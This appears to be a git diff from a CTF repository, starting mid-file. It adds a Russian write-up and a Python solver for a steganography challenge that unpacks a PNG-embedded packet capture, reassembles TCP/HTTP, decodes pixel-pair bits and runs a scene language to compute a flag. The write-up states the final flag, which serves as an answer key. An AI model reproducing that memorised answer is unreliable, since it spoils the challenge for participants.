tile): + """Быстрый отсев кандидата по выравниванию diff: каждая изменённая + плитка обязана быть ровно одним из 4 циклических сдвигов эталонной.""" + for gx, gy in changed_tiles(orig, mod, tile): + t = orig[gy * tile:(gy + 1) * tile, gx * tile:(gx + 1) * tile] + m = mod[gy * tile:(gy + 1) * tile, gx * tile:(gx + 1) * tile] + hits = [d for d in range(4) if np.array_equal(shift_tile(t, d), m)] + if len(hits) != 1: + raise SolveError( + f"размер {tile}x{tile} отклонён: плитка (gx={gx} gy={gy}): " + f"совпадений с кандидатами {len(hits)}, ожидалось ровно 1") + + +def decode_with_tile(orig, mod, tile): + """Полное декодирование при заданном размере плитки: пригодность, + калибровка, пары бит, конверт CTM4. Возвращает (payload, n_elig, n_used).""" + elig = eligible_tiles(orig, tile) + + def read_dir(idx): + gx, gy = elig[idx] + t = orig[gy * tile:(gy + 1) * tile, gx * tile:(gx + 1) * tile] + m = mod[gy * tile:(gy + 1) * tile, gx * tile:(gx + 1) * tile] + hits = [d for d in range(4) if np.array_equal(shift_tile(t, d), m)] + if len(hits) != 1: + raise SolveError( + f"плитка #{idx} (gx={gx} gy={gy}): совпадений с кандидатами " + f"{len(hits)}, ожидалось ровно 1") + return hits[0] + + # Калибровка: первые 4 пригодные плитки — up, right, down, left. + for i in range(4): + if len(elig) <= i: + raise SolveError("слишком мало пригодных плиток для калибровки") + d = read_dir(i) + if d != i: + raise SolveError( + f"калибровка не сошлась: плитка #{i} = {DIRECTIONS[d]}, " + f"ожидалось {DIRECTIONS[i]}") + + # Пары бит: в байте сначала старшая пара. 4 плитки = 1 байт. + pairs = [] + total = None # полная длина конверта в байтах, станет известна после заголовка + idx = 4 + header_len = 4 + 1 + 4 + while True: + have = len(pairs) // 4 + if total is not None and have >= total: + break + if total is None and have >= header_len: + hdr = bytes() + for k in range(header_len): + hdr += bytes([pairs[4 * k] << 6 | pairs[4 * k + 1] << 4 + | pairs[4 * k + 2] << 2 | pairs[4 * k + 3]]) + if hdr[:4] != b"CTM4": + raise SolveError("CTM4: неверный magic") + if hdr[4] != 1: + raise SolveError(f"CTM4: version {hdr[4]} != 1") + (plen,) = struct.unpack(" MAX_PAYLOAD: + raise SolveError(f"CTM4: payload_length {plen} превышает лимит") + total = header_len + plen + 4 + continue + if idx >= len(elig): + raise SolveError("конверт CTM4 не поместился в пригодные плитки") + pairs.append(read_dir(idx)) + idx += 1 + + data = bytearray() + for k in range(total): + data.append(pairs[4 * k] << 6 | pairs[4 * k + 1] << 4 + | pairs[4 * k + 2] << 2 | pairs[4 * k + 3]) + (plen,) = struct.unpack("", file=sys.stderr) + return 2 + try: + payload, n_elig, n_used = solve(argv[1]) + except (SolveError, OSError) as e: + print(f"ошибка: {e}", file=sys.stderr) + return 1 + text = payload.decode("utf-8", errors="strict") + print(f"пригодных плиток: {n_elig}, использовано: {n_used}", file=sys.stderr) + print(text) + return 0 + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/finals/kot5/WRITEUP.md b/finals/kot5/WRITEUP.md new file mode 100644 index 0000000..99d43aa --- /dev/null +++ b/finals/kot5/WRITEUP.md @@ -0,0 +1,82 @@ +

Мы снова пришли к носу

+ +

+ Stego +

+ +На старте есть изображение `kot5_nos.png`. Из него извлекаем сетевой захват, затем изображения из HTTP и пакеты языка сцены. По ним восстанавливаем итоговый опубликованный рисунок. Флаг вычисляется из координат носа в этом рисунке. + +## Решение + +### Извлечение HTTP из захвата + +В чанке `caTs` находим конверт `CCAP`. Его формат описан в `CATD.proto`: сигнатура, версия `1`, длина распакованных данных, SHA-256 и zlib-поток. Проверяем конверт и распаковываем — получаем PCAPNG на 37 872 636 байт с 5788 пакетами. + +В захвате есть полезные `POST /upload` на порт `8080` и шумовые `GET /health` на `8081`. Соединения keep-alive, в одном потоке несколько запросов. Пакеты переупорядочены, встречаются ретрансмиты, поэтому склеивать TCP payload в порядке захвата нельзя. + +Группируем TCP-сегменты по адресам и портам отправителя и получателя. Для каждого направления начинаем сборку с `ISN + 1`, поскольку SYN занимает один номер последовательности, и размещаем payload по sequence numbers. Совпадающие ретрансмиты отбрасываем. При конфликте байтов или пробеле в данных останавливаем сборку. В направлении от клиента к серверу разбираем запросы по заголовкам и `Content-Length`, оставляем `POST /upload` с `Content-Type: image/png`. Так получаем 16 PNG-тел. + +В обратном направлении идут HTTP-ответы. В них пропускаем промежуточный `100 Continue`, а тела финальных ответов отделяем по `Content-Length` или chunked-разметке. Эти ответы не добавляем к данным PNG. + +### Декодирование CATD + +В каждом PNG есть `CATD.desc`: base64 и zlib скрывают дескриптор `CDSC` с 7240 позициями пар плиток. Каждая пара состоит из двух плиток 4 × 4, образующих блок 8 × 4. Сетка имеет размер 156 × 313. Декодируем base64, затем распаковываем zlib и проверяем CRC32 дескриптора. Его позиции используем в записанном порядке. Для индекса `i` получаем строку и столбец через `divmod(i, 156)`, а левый верхний пиксель пары имеет координаты `(8 * столбец, 4 * строка)`. + +Для пары считаем среднее `S = R + G` слева и справа в достаточно широком числовом типе, чтобы сумма каналов не переполнилась. Знак разности кодирует бит. Если среднее слева больше, читаем `1`, если меньше — `0`. Разницу по модулю меньше `1.5` считаем неоднозначной и останавливаем декодирование. Байты собираем MSB-first. Контрольный байт `01010101` позволяет проверить направление сравнения на всех изображениях. + +После калибровки появляется сигнатура `CATD`. Читаем заголовок размером 20 байт, затем payload указанной длины и четыре байта CRC32. Контрольная сумма покрывает заголовок и payload, а записана в little-endian. + +| Поле | Смысл | +|---|---| +| `version` | `u8`, значение `1` | +| `type` | `u8`, значения `START=1`, `DATA=2`, `END=4` | +| `session_id` | Идентификатор сессии, `u32 LE` | +| `sequence`, `total_packets` | Номер и количество пакетов, оба `u32 LE` | +| `payload_length`, `payload` | Длина `u16 LE` и данные | +| `crc32` | Проверка пакета | + +Выбираем сессию `2085938395`, наиболее частую среди валидных пакетов. Из 16 пакетов два — точные дубли, остаются 14. Если одинаковому `sequence` соответствуют разные байты, останавливаем сборку. Проверяем, что присутствуют все номера от `0` до `total_packets - 1`, и сортируем пакеты по `sequence`. Первый должен быть START, последний END, остальные DATA. Первые 32 байта END — SHA-256 склеенных DATA payload. Остаток END содержит правила сборки. + +### Исполнение сцены + +START содержит спецификацию языка и контрольный пример: точка `(5, 2)` после `ROT90 k=1` и родительского `TRANSLATE(10, 0)` становится `(8, 5)`. Из примера следует, что сначала применяются преобразования своей группы, затем родительской. + +После проверки SHA-256 разбираем склеенный поток DATA. В нём 544 байта с 48 командами. Язык умеет объявлять шаблоны, рисовать линии и маркеры, создавать группы и экземпляры, применять переносы, повороты и отражения, удалять объекты и публиковать группу. Координаты — `i32 LE` в тысячных. + +Шаблон кота содержит 27 линий и три маркера. Нужен `MARK id=1`, нос в локальной точке `(200000, 263000)`. Но экземпляров шаблона три: + +| Объект | Состояние | Учитываем? | +|---|---|---| +| `oid=1` | Черновая группа `gid=10` | Нет, группа не опубликована | +| `oid=2` | Вложенная `gid=21` внутри опубликованной `gid=20` | Да | +| `oid=3` | В `gid=20`, затем `DELETE 3` | Нет, объект удалён | + +Для оставшегося носа применяем отражение по оси `1`, поворот `ROT90 k=2` и перенос корня: + +| Преобразование | Координаты | +|---|---| +| Локальный маркер | `(200000, 263000)` | +| `REFLECT axis=1` | `(200000, -263000)` | +| `ROT90 k=2` | `(-200000, 263000)` | +| `TRANSLATE(212345, -330890)` | `(12345, -67890)` | + +Получаем мировые координаты `(12.345, -67.890)`. Простое чтение локального маркера дало бы другую точку, поскольку здесь важен результат исполнения сцены, включая удаление и публикацию. + +### Вычисление флага + +В `nose.flagfn` задана функция от координат в тысячных: + +```python +X, Y = 12345, -67890 +N = 2000001 +U, V = X + 1000000, Y + 1000000 +Z = U * N + V # 2024691944455 +``` + +Подставляем `Z` в `caplag{nose_}`. С параметром `--render` солвер рисует только опубликованную сцену с применёнными преобразованиями и отмечает нос, чтобы результат можно было проверить визуально. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{nose_2024691944455}` diff --git a/finals/kot5/solve/solve.py b/finals/kot5/solve/solve.py new file mode 100644 index 0000000..bdc51e6 --- /dev/null +++ b/finals/kot5/solve/solve.py @@ -0,0 +1,961 @@ +#!/usr/bin/env python3 +"""Независимый решатель задачи 5 «Мы снова пришли к носу» (CATD, версия 2: +язык сцены). + +Вход: участнический стартовый PNG (argv[1]). + python solvers/solve_task5.py dist/participants/kot5_nos.png [--render cat.png] + +Конвейер: + PNG чанки -> caTs -> CCAP (version, uncompressed_length, sha256) -> + zlib (лимит uncompressed_length и жёсткий потолок 64 МиБ) -> PCAPNG + (Section/Interface/Enhanced Packet) -> TCP-потоки по соединениям + (sequence numbers, ретрансмиты, сегментация) -> HTTP POST /upload + (Content-Length) -> тела PNG -> дескриптор CDSC (tEXt CATD.desc) -> + калибровка 01010101 -> биты (пары плиток 4x4, знак разности средних + S=R+G, MSB-first) -> пакеты CATD (magic/version/crc32) -> + фильтр session_id (мода) -> удаление точных дублей / отказ при + конфликтующих -> полнота по total_packets -> сортировка по + (session_id, sequence) -> проверка END SHA-256 -> поток команд языка + сцены (спека — в START payload) -> исполнение сцены: шаблоны, группы, + DELETE в момент чтения, единственный PUBLISH, композиция преобразований + (своя группа -> родительская -> ... -> корень) -> MARK id=1 в + опубликованной сцене (единственный) -> мировые координаты носа -> + публичная функция флага -> флаг. + +Зависимости: stdlib + Pillow + numpy. Генератор не импортируется, +файлы организатора не читаются. + +Правило фильтрации сессий: session_id выбирается как самый частый +(мода) среди валидных пакетов; пакеты с другими session_id +отбрасываются; при равенстве частот берётся первый встреченный. +""" +import argparse +import hashlib +import io +import struct +import sys +import zlib +from collections import Counter + +import numpy as np +from PIL import Image, ImageDraw + +# --- Лимиты безопасности ------------------------------------------------- +MAX_CCAP_COMPRESSED = 64 * 1024 * 1024 # сжатый PCAPNG +MAX_CCAP_UNCOMPRESSED = 64 * 1024 * 1024 # жёсткий потолок распаковки +MAX_PCAPNG_PACKETS = 1_000_000 +MAX_HTTP_BODY = 32 * 1024 * 1024 +MAX_PNG_BODIES = 100_000 +MAX_PACKET_PAYLOAD = 4096 +MAX_POSITIONS = 8192 +MAX_DESCRIPTOR_COMPRESSED = 32 * 1024 # v2: позиций больше (START со спекой сцены) + +CALIBRATION_BYTE = 0x55 +PAIR_W, PAIR_H, TILE_W = 8, 4, 4 + +TYPE_START, TYPE_DATA, TYPE_END = 1, 2, 4 # ACK=3 зарезервирован, не используется + +# Язык сцены (спека публикуется в START payload). +(OP_DEF_TEMPLATE, OP_END_DEF, OP_LINE, OP_MARK, OP_GROUP, OP_END_GROUP, + OP_TRANSLATE, OP_ROT90, OP_REFLECT, OP_INSTANCE, OP_DELETE, + OP_PUBLISH) = range(1, 13) + +FLAG_MODULUS = 2000001 + + +class SolveError(Exception): + """Безопасная ошибка решателя (без traceback для ожидаемых отказов).""" + + +# --- PNG чанки ------------------------------------------------------------ +PNG_SIG = b"\x89PNG\r\n\x1a\n" + + +def parse_png_chunks(data): + if len(data) < 8 or data[:8] != PNG_SIG: + raise SolveError("не PNG (сигнатура)") + chunks = [] + off = 8 + while off < len(data): + if len(data) - off < 12: + raise SolveError("усечённый чанк PNG") + (length,) = struct.unpack_from(">I", data, off) + if length > len(data) - off - 12: + raise SolveError("длина чанка PNG превышает остаток файла") + ctype = data[off + 4:off + 8] + body = data[off + 8:off + 8 + length] + (want_crc,) = struct.unpack_from(">I", data, off + 8 + length) + if zlib.crc32(ctype + body) & 0xFFFFFFFF != want_crc: + raise SolveError(f"crc чанка {ctype!r} не сошёлся") + chunks.append((ctype, body)) + off += 12 + length + if ctype == b"IEND": + break + if not chunks or chunks[-1][0] != b"IEND": + raise SolveError("нет IEND") + return chunks + + +def png_text_value(chunks, keyword): + prefix = keyword.encode("latin-1") + b"\x00" + for ctype, body in chunks: + if ctype == b"tEXt" and body.startswith(prefix): + return body[len(prefix):].decode("latin-1") + return None + + +# --- CCAP (чанк caTs) ------------------------------------------------------ +def extract_pcapng(png_bytes): + chunks = parse_png_chunks(png_bytes) + cats = [body for ctype, body in chunks if ctype == b"caTs"] + if not cats: + raise SolveError("в стартовом PNG нет чанка caTs с захватом") + body = cats[0] + if len(body) < 41: + raise SolveError("CCAP слишком короткий") + if body[:4] != b"CCAP": + raise SolveError("неверный magic CCAP") + if body[4] != 1: + raise SolveError(f"неподдерживаемая версия CCAP: {body[4]}") + (ulen,) = struct.unpack_from(" MAX_CCAP_UNCOMPRESSED: + raise SolveError(f"CCAP uncompressed_length {ulen} превышает 64 МиБ") + want_sha = body[9:41] + compressed = body[41:] + if len(compressed) > MAX_CCAP_COMPRESSED: + raise SolveError("CCAP сжатые данные превышают 64 МиБ") + d = zlib.decompressobj() + out = d.decompress(compressed, min(ulen, MAX_CCAP_UNCOMPRESSED) + 1) + if len(out) > MAX_CCAP_UNCOMPRESSED or len(out) > ulen: + raise SolveError("CCAP распаковался больше лимита") + if len(out) != ulen: + raise SolveError(f"CCAP длина {len(out)} != uncompressed_length {ulen}") + if hashlib.sha256(out).digest() != want_sha: + raise SolveError("CCAP sha256 распакованного PCAPNG не сошёлся") + return out + + +# --- PCAPNG ----------------------------------------------------------------- +def parse_pcapng(data): + """Минимальный разбор PCAPNG: SHB, IDB, EPB (+SPB). Без внешних библиотек.""" + interfaces = [] # linktype по индексу интерфейса + packets = [] # (ts_raw, iface_id, bytes) + off = 0 + bo = "<" # порядок байт секции + while off < len(data): + if len(data) - off < 12: + raise SolveError("PCAPNG: усечённый блок") + (btype,) = struct.unpack_from(" len(data): + raise SolveError("PCAPNG: неверная длина SHB") + (bom,) = struct.unpack_from(" len(data): + raise SolveError("PCAPNG: неверная длина блока") + if btype == 1: # Interface Description + if blen < 20: + raise SolveError("PCAPNG: короткий IDB") + (linktype,) = struct.unpack_from(bo + "H", data, off + 8) + interfaces.append(linktype) + elif btype == 6: # Enhanced Packet + if blen < 32: + raise SolveError("PCAPNG: короткий EPB") + iface_id, ts_hi, ts_lo, caplen, _origlen = struct.unpack_from( + bo + "IIIII", data, off + 8) + if caplen > blen - 32: + raise SolveError("PCAPNG: caplen превышает блок") + pkt = data[off + 28:off + 28 + caplen] + packets.append(((ts_hi << 32) | ts_lo, iface_id, bytes(pkt))) + if len(packets) > MAX_PCAPNG_PACKETS: + raise SolveError("PCAPNG: слишком много пакетов") + elif btype == 3: # Simple Packet + if blen < 16: + raise SolveError("PCAPNG: короткий SPB") + (origlen,) = struct.unpack_from(bo + "I", data, off + 8) + caplen = min(origlen, blen - 16) + pkt = data[off + 12:off + 12 + caplen] + packets.append((0, 0, bytes(pkt))) + # остальные блоки (Name Resolution и пр.) пропускаем + off += blen + if not interfaces: + raise SolveError("PCAPNG: нет Interface Description Block") + packets.sort(key=lambda p: p[0]) # порядок по временным меткам + return interfaces, packets + + +# --- TCP -------------------------------------------------------------------- +def parse_ipv4_tcp(pkt, linktype): + """Возвращает (src, sport, dst, dport, seq, flags, payload) или None.""" + if linktype == 1: # Ethernet + if len(pkt) < 14: + return None + (ethertype,) = struct.unpack_from(">H", pkt, 12) + if ethertype == 0x8100: # VLAN + if len(pkt) < 18: + return None + (ethertype,) = struct.unpack_from(">H", pkt, 16) + ip = pkt[18:] + else: + ip = pkt[14:] + if ethertype != 0x0800: + return None + elif linktype in (101, 228): # raw IP + ip = pkt + else: + return None + if len(ip) < 20 or ip[0] >> 4 != 4: + return None + ihl = (ip[0] & 0x0F) * 4 + if ihl < 20 or len(ip) < ihl: + return None + (total_len,) = struct.unpack_from(">H", ip, 2) + if total_len < ihl or total_len > len(ip): + return None + if ip[9] != 6: # TCP + return None + src = ".".join(str(b) for b in ip[12:16]) + dst = ".".join(str(b) for b in ip[16:20]) + tcp = ip[ihl:total_len] + if len(tcp) < 20: + return None + sport, dport, seq, _ack, off_flags = struct.unpack_from(">HHIIB", tcp, 0) + data_off = (off_flags >> 4) * 4 + if data_off < 20 or data_off > len(tcp): + return None + flags = tcp[13] + payload = tcp[data_off:] + return src, sport, dst, dport, seq, flags, payload + + +def reassemble_stream(segments, isn): + """Сборка потока из сегментов (seq, payload). Ретрансмиты с совпадающими + байтами пропускаются; конфликт и дыра — ошибки.""" + segments = sorted(segments) + buf = bytearray() + next_seq = isn + for seq, payload in segments: + if seq > next_seq: + raise SolveError(f"TCP: дыра в потоке (seq {seq}, ждали {next_seq})") + if seq < isn: + raise SolveError("TCP: сегмент начинается до начала потока") + skip = next_seq - seq + overlap_len = min(skip, len(payload)) + start = seq - isn + if payload[:overlap_len] != bytes(buf[start:start + overlap_len]): + raise SolveError("TCP: конфликтующий ретрансмит") + if skip >= len(payload): + continue + buf.extend(payload[skip:]) + next_seq += len(payload) - skip + return bytes(buf) + + +def extract_http_png_bodies(interfaces, packets): + """TCP-потоки по соединениям -> HTTP -> тела PNG POST /upload. + + Keep-alive: несколько POST в одном client->server потоке. Посторонние + потоки (шумовые GET к другим сервисам) игнорируются. Ретрансмиты и + out-of-order (netem loss/reorder) переживаются сборкой по seq с + детектом конфликтов. Interim-ответы 100 Continue пропускаются при + разборе server->server направления (count_http_responses).""" + flows = {} # (src,sport,dst,dport) -> {"syn": isn, "segs": [(seq,payload)]} + for _ts, iface_id, pkt in packets: + if iface_id >= len(interfaces): + continue + parsed = parse_ipv4_tcp(pkt, interfaces[iface_id]) + if parsed is None: + continue + src, sport, dst, dport, seq, flags, payload = parsed + key = (src, sport, dst, dport) + f = flows.setdefault(key, {"syn": None, "segs": []}) + if flags & 0x02: # SYN + f["syn"] = seq + if payload: + f["segs"].append((seq, payload)) + bodies = [] + responses = 0 + for (src, sport, dst, dport), f in flows.items(): + if not f["segs"]: + continue + if f["syn"] is None: + raise SolveError(f"TCP: нет SYN для {src}:{sport}->{dst}:{dport} " + "(захват неполный)") + stream = reassemble_stream(f["segs"], f["syn"] + 1) + if stream.startswith(b"HTTP/"): + # Направление ответов: считаем финальные, пропуская interim 1xx. + responses += count_http_responses(stream) + continue + first = stream.split(b"\r\n", 1)[0] + parts = first.split(b" ") + if len(parts) != 3 or not parts[0].isalpha() or not parts[0].isupper() \ + or not parts[2].startswith(b"HTTP/"): + continue # не HTTP-запросы — чужой трафик + bodies.extend(parse_http_posts(stream)) + if responses: + print(f"solver: финальных HTTP-ответов в захвате: {responses}", file=sys.stderr) + if len(bodies) > MAX_PNG_BODIES: + raise SolveError("слишком много PNG-тел") + return bodies + + +def _parse_head(stream, off): + """Заголовки HTTP-сообщения (запроса или ответа) с позиции off.""" + end = stream.find(b"\r\n\r\n", off) + if end < 0: + raise SolveError("HTTP: усечённые заголовки") + lines = stream[off:end].decode("latin-1").split("\r\n") + headers = {} + for line in lines[1:]: + k, _, v = line.partition(":") + headers[k.strip().lower()] = v.strip() + return lines[0], headers, end + 4 + + +def _skip_chunked(stream, off): + """Пропуск chunked-тела; возвращает позицию после него или None.""" + while True: + eol = stream.find(b"\r\n", off) + if eol < 0: + return None + try: + size = int(stream[off:eol].split(b";")[0], 16) + except ValueError: + return None + if size < 0 or size > MAX_HTTP_BODY: + return None + off = eol + 2 + if size == 0: + # После last-chunk идут трейлеры и пустая строка. + if stream[off:off + 2] == b"\r\n": + return off + 2 + end = stream.find(b"\r\n\r\n", off) + return None if end < 0 else end + 4 + if off + size + 2 > len(stream): + return None + if stream[off + size:off + size + 2] != b"\r\n": + return None + off += size + 2 + + +def count_http_responses(stream): + """Разбор server->client потока: interim-ответы (1xx, в т.ч. + 'HTTP/1.1 100 Continue') пропускаются; тела финальных ответов + пропускаются по Content-Length или chunked. Возвращает число + финальных ответов.""" + n, off = 0, 0 + while off < len(stream): + try: + first, headers, body_start = _parse_head(stream, off) + except SolveError: + break + parts = first.split(" ") + if len(parts) < 2 or not parts[0].startswith("HTTP/"): + break + try: + status = int(parts[1]) + except ValueError: + break + if 100 <= status < 200: + off = body_start # interim-ответ без тела — пропускаем + continue + if headers.get("transfer-encoding", "").lower() == "chunked": + nxt = _skip_chunked(stream, body_start) + if nxt is None: + break + off = nxt + else: + try: + clen = int(headers.get("content-length", "0")) + except ValueError: + break + if clen < 0 or clen > MAX_HTTP_BODY: + break + off = body_start + clen + n += 1 + return n + + +def parse_http_posts(stream): + """Разбор последовательности HTTP-запросов в client->server потоке + (keep-alive: несколько подряд). Забирает только POST /upload с + Content-Type: image/png; посторонние запросы (шумовые GET и пр.) + пропускаются с разбором их длины. Заголовок Expect: 100-continue на + разбор не влияет (interim-ответ живёт в другом направлении).""" + bodies = [] + off = 0 + while off < len(stream): + first, headers, body_start = _parse_head(stream, off) + parts = first.split(" ") + if len(parts) != 3: + raise SolveError(f"HTTP: ожидался запрос, получено {first!r}") + method, path = parts[0], parts[1] + clen = 0 + if "content-length" in headers: + try: + clen = int(headers["content-length"]) + except ValueError: + raise SolveError("HTTP: битый Content-Length") + if clen < 0 or clen > MAX_HTTP_BODY: + raise SolveError(f"HTTP: Content-Length {clen} вне лимита") + if body_start + clen > len(stream): + raise SolveError("HTTP: тело усечено (не хватило сегментов)") + body = stream[body_start:body_start + clen] + off = body_start + clen + if method != "POST" or path != "/upload" or \ + headers.get("content-type") != "image/png": + print(f"solver: пропущен посторонний запрос {method} {path}", + file=sys.stderr) + continue + if not body.startswith(PNG_SIG): + raise SolveError("HTTP: тело не PNG") + bodies.append(body) + return bodies + + +# --- Дескриптор CDSC --------------------------------------------------------- +def decode_descriptor(chunks): + text = png_text_value(chunks, "CATD.desc") + if text is None: + raise SolveError("в сетевом PNG нет tEXt CATD.desc") + import base64 + try: + raw = base64.b64decode(text, validate=True) + except Exception as e: + raise SolveError(f"CDSC base64: {e}") + if len(raw) > MAX_DESCRIPTOR_COMPRESSED: + raise SolveError("CDSC сжатый дескриптор превышает 32 КиБ") + try: + d = zlib.decompressobj() + data = d.decompress(raw, 21 + 4 * MAX_POSITIONS + 4 + 1) + except zlib.error as e: + raise SolveError(f"CDSC zlib: {e}") + if len(data) > 21 + 4 * MAX_POSITIONS + 4: + raise SolveError("CDSC распакованный дескриптор превышает лимит") + return parse_descriptor(data) + + +def parse_descriptor(b): + if len(b) < 25: + raise SolveError("CDSC слишком короткий") + if b[:4] != b"CDSC": + raise SolveError("CDSC неверный magic") + if b[4] != 1: + raise SolveError(f"CDSC неподдерживаемая версия {b[4]}") + width, height, blocks_across, count = struct.unpack_from(" MAX_POSITIONS: + raise SolveError(f"CDSC недопустимое число позиций {count}") + if len(b) != 21 + 4 * count + 4: + raise SolveError("CDSC длина не согласована с count") + (want_crc,) = struct.unpack_from("= total: + raise SolveError("CDSC позиция вне сетки") + if p <= prev: + raise SolveError("CDSC позиции не отсортированы строго") + prev = p + return width, height, blocks_across, positions + + +# --- Пиксельный канал --------------------------------------------------------- +class BitReader: + """Читатель бит: 1 — левая плитка светлее (diff>0), 0 — темнее. + |diff| < 1.5 (|sumDiff| < 24) — ошибка «сомнительный бит».""" + + def __init__(self, img, blocks_across, positions): + self.s = img[:, :, 0].astype(np.int64) + img[:, :, 1].astype(np.int64) + self.ba = blocks_across + self.pos = positions + self.k = 0 + + def bit(self): + if self.k >= len(self.pos): + raise SolveError("позиции носителя исчерпаны") + idx = self.pos[self.k] + self.k += 1 + r, c = divmod(idx, self.ba) + y0, x0 = PAIR_H * r, PAIR_W * c + tile_l = self.s[y0:y0 + PAIR_H, x0:x0 + TILE_W] + tile_r = self.s[y0:y0 + PAIR_H, x0 + TILE_W:x0 + PAIR_W] + d = int(tile_l.sum()) - int(tile_r.sum()) + if d >= 24: + return 1 + if d <= -24: + return 0 + raise SolveError("сомнительный бит (|diff| < 1.5)") + + def byte(self): + v = 0 + for _ in range(8): + v = (v << 1) | self.bit() + return v + + def read(self, n): + return bytes(self.byte() for _ in range(n)) + + +def check_carrier_invariants(img, blocks_across, positions, used): + """Проверка инвариантов, действительно неизменных при кодировании: + размах (R-G) по 32 пикселям пары <= 4. Диапазон RGB и разность средних + кодированием намеренно изменяются (δ ∈ {-2..2}), поэтому декодер их + не проверяет (см. SPECS.md 5.1: отбор — по оригиналу генератором).""" + rg = img[:, :, 0].astype(np.int32) - img[:, :, 1].astype(np.int32) + for idx in positions[:used]: + r, c = divmod(idx, blocks_across) + y0, x0 = PAIR_H * r, PAIR_W * c + blk = rg[y0:y0 + PAIR_H, x0:x0 + PAIR_W] + if int(blk.max()) - int(blk.min()) > 4: + raise SolveError(f"позиция {idx}: инвариант R-G нарушен") + + +def decode_packet(png_bytes): + chunks = parse_png_chunks(png_bytes) + width, height, blocks_across, positions = decode_descriptor(chunks) + img = np.asarray(Image.open(io.BytesIO(png_bytes)).convert("RGB")) + if img.shape[1] != width or img.shape[0] != height: + raise SolveError("размер PNG не совпадает с дескриптором") + br = BitReader(img, blocks_across, positions) + calib = br.byte() + if calib != CALIBRATION_BYTE: + raise SolveError(f"неверная калибровка: {calib:#04x}, ожидалось 0x55") + head = br.read(20) + if head[:4] != b"CATD": + raise SolveError("неверный magic пакета CATD") + if head[4] != 1: + raise SolveError(f"неподдерживаемая версия пакета: {head[4]}") + (plen,) = struct.unpack_from(" MAX_PACKET_PAYLOAD: + raise SolveError(f"payload_length {plen} превышает лимит") + rest = br.read(plen + 4) + raw = head + rest + (want_crc,) = struct.unpack_from(" 100_000: + raise SolveError(f"недопустимый total_packets: {total}") + # Дубли: точные — удалить; конфликтующие (тот же sequence, другие байты) — отказ. + by_seq = {} + for p in own: + seq = p["sequence"] + if seq >= total: + raise SolveError(f"sequence {seq} вне total_packets {total}") + if seq in by_seq: + if by_seq[seq]["raw"] != p["raw"]: + raise SolveError(f"конфликтующий дубль sequence {seq}") + continue # точный дубль + by_seq[seq] = p + # Полнота. + missing = [s for s in range(total) if s not in by_seq] + if missing: + raise SolveError(f"неполная сессия: отсутствуют sequence {missing[:8]}" + f"{'...' if len(missing) > 8 else ''}") + ordered = [by_seq[s] for s in range(total)] # сортировка по (session_id, sequence) + if ordered[0]["type"] != TYPE_START: + raise SolveError("sequence 0 не START") + if ordered[-1]["type"] != TYPE_END: + raise SolveError("последний sequence не END") + for p in ordered[1:-1]: + if p["type"] != TYPE_DATA: + raise SolveError(f"sequence {p['sequence']} не DATA") + # Проверка END: первые 32 байта payload — SHA-256 от конкатенации + # payload DATA в порядке sequence; остаток — ASCII-хвост с правилами + # сборки (информативный, не проверяется). + stream = b"".join(p["payload"] for p in ordered[1:-1]) + end_payload = ordered[-1]["payload"] + if len(end_payload) < 32: + raise SolveError("END payload короче 32 байт (нет SHA-256)") + if hashlib.sha256(stream).digest() != end_payload[:32]: + raise SolveError("END SHA-256 не сошёлся") + if end_payload[32:]: + print(f"solver: правила из END: " + f"{end_payload[32:].decode('ascii', 'replace')[:80]}...", file=sys.stderr) + return session_id, ordered[0]["payload"], stream + + +# --- Язык сцены --------------------------------------------------------------- +INT32_MIN, INT32_MAX = -2**31, 2**31 - 1 + + +def parse_commands(b): + """Разбор потока команд языка сцены (строгие длины). Команда — кортеж: + (OP_DEF_TEMPLATE, tid), (OP_END_DEF,), (OP_LINE, x1, y1, x2, y2), + (OP_MARK, id, x, y), (OP_GROUP, gid), (OP_END_GROUP,), + (OP_TRANSLATE, dx, dy), (OP_ROT90, k), (OP_REFLECT, axis), + (OP_INSTANCE, tid), (OP_DELETE, oid), (OP_PUBLISH, gid).""" + cmds = [] + i = 0 + + def need(n, name): + if len(b) - i < n: + raise SolveError(f"усечённая команда {name}") + + while i < len(b): + op = b[i] + i += 1 + if op in (OP_END_DEF, OP_END_GROUP): + cmds.append((op,)) + elif op in (OP_DEF_TEMPLATE, OP_GROUP, OP_INSTANCE, OP_DELETE, OP_PUBLISH): + need(2, "u16") + (ref,) = struct.unpack_from(" {"transforms": [...], "items": [...]} + objects = {} # oid -> группа-владелец + publish_gid = None + next_oid = 0 + stack = [] # пустой = верхний уровень + in_def = None + def_body = [] + + for pos, c in enumerate(cmds): + op = c[0] + if in_def is not None: + if op == OP_END_DEF: + templates[in_def] = def_body + in_def, def_body = None, [] + elif op in (OP_LINE, OP_MARK): + def_body.append(c) + else: + raise SolveError(f"команда {op} в теле DEF_TEMPLATE (поз. {pos})") + continue + if op == OP_DEF_TEMPLATE: + if stack: + raise SolveError("DEF_TEMPLATE внутри группы") + if c[1] in templates: + raise SolveError(f"повторный DEF_TEMPLATE tid={c[1]}") + in_def = c[1] + elif op == OP_END_DEF: + raise SolveError("END_DEF вне DEF_TEMPLATE") + elif op == OP_GROUP: + if c[1] in groups: + raise SolveError(f"повторный GROUP gid={c[1]}") + g = {"gid": c[1], "transforms": [], "items": []} + groups[c[1]] = g + if stack: + stack[-1]["items"].append(("group", g)) + stack.append(g) + elif op == OP_END_GROUP: + if not stack: + raise SolveError("END_GROUP вне группы") + stack.pop() + elif op in (OP_TRANSLATE, OP_ROT90, OP_REFLECT): + if not stack: + raise SolveError("преобразование вне группы") + if op == OP_REFLECT and c[1] > 1: + raise SolveError(f"REFLECT с недопустимой осью {c[1]}") + stack[-1]["transforms"].append(c) + elif op == OP_INSTANCE: + if not stack: + raise SolveError("INSTANCE вне группы") + if c[1] not in templates: + raise SolveError(f"INSTANCE неизвестного шаблона tid={c[1]}") + next_oid += 1 + if next_oid > 0xFFFF: + raise SolveError("переполнение object id") + stack[-1]["items"].append(("inst", next_oid, c[1])) + objects[next_oid] = stack[-1] + elif op in (OP_LINE, OP_MARK): + if not stack: + raise SolveError("LINE/MARK вне группы/шаблона") + stack[-1]["items"].append(("cmd", c)) + elif op == OP_DELETE: + if stack: + raise SolveError("DELETE внутри группы") + owner = objects.get(c[1]) + if owner is None: + raise SolveError(f"DELETE неизвестного object id {c[1]}") + for k, it in enumerate(owner["items"]): + if it[0] == "inst" and it[1] == c[1]: + del owner["items"][k] + break + else: + raise SolveError(f"object id {c[1]} уже удалён") + del objects[c[1]] + elif op == 